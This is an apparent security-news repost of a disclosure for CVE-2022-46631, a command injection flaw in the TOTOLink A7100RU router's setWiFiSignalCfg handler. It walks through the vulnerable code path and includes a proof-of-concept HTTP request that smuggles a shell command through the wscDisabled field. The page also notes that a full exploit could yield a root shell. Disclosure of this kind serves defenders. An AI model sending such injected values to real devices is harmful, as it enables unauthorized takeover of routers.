Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-46631: IOT_vuln/TOTOLink/A7100RU/6 at main · EPhaha/IOT_vuln

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the wscDisabled parameter in the setting/setWiFiSignalCfg function.

CVE
#vulnerability#web#windows#apple#chrome#webkit#wifi

TOTOlink A7100RU Command injection vulnerability****Overview

  • Manufacturer’s website information:http://totolink.net/
  • Firmware download address : http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html

1. Affected version

Figure 1 shows the latest firmware Ba of the router

2.Vulnerability details

The program passes the content obtained by the wscdisabled parameter to the V3 parameter, then assigns V3 to V6, and finally brings V6 to UCI_ Set_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

3.Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware V7.4cu.2313_B20191024

  2. Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Content-Length: 79 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Content-Type: application/x-www-form-urencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SESSION_ID=2:1647872744:2 Connection: close

    {"topicurl":"setting/setWiFiSignalCfg", "wscDisabled":"1$(ls>/tmp/123;)"}

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907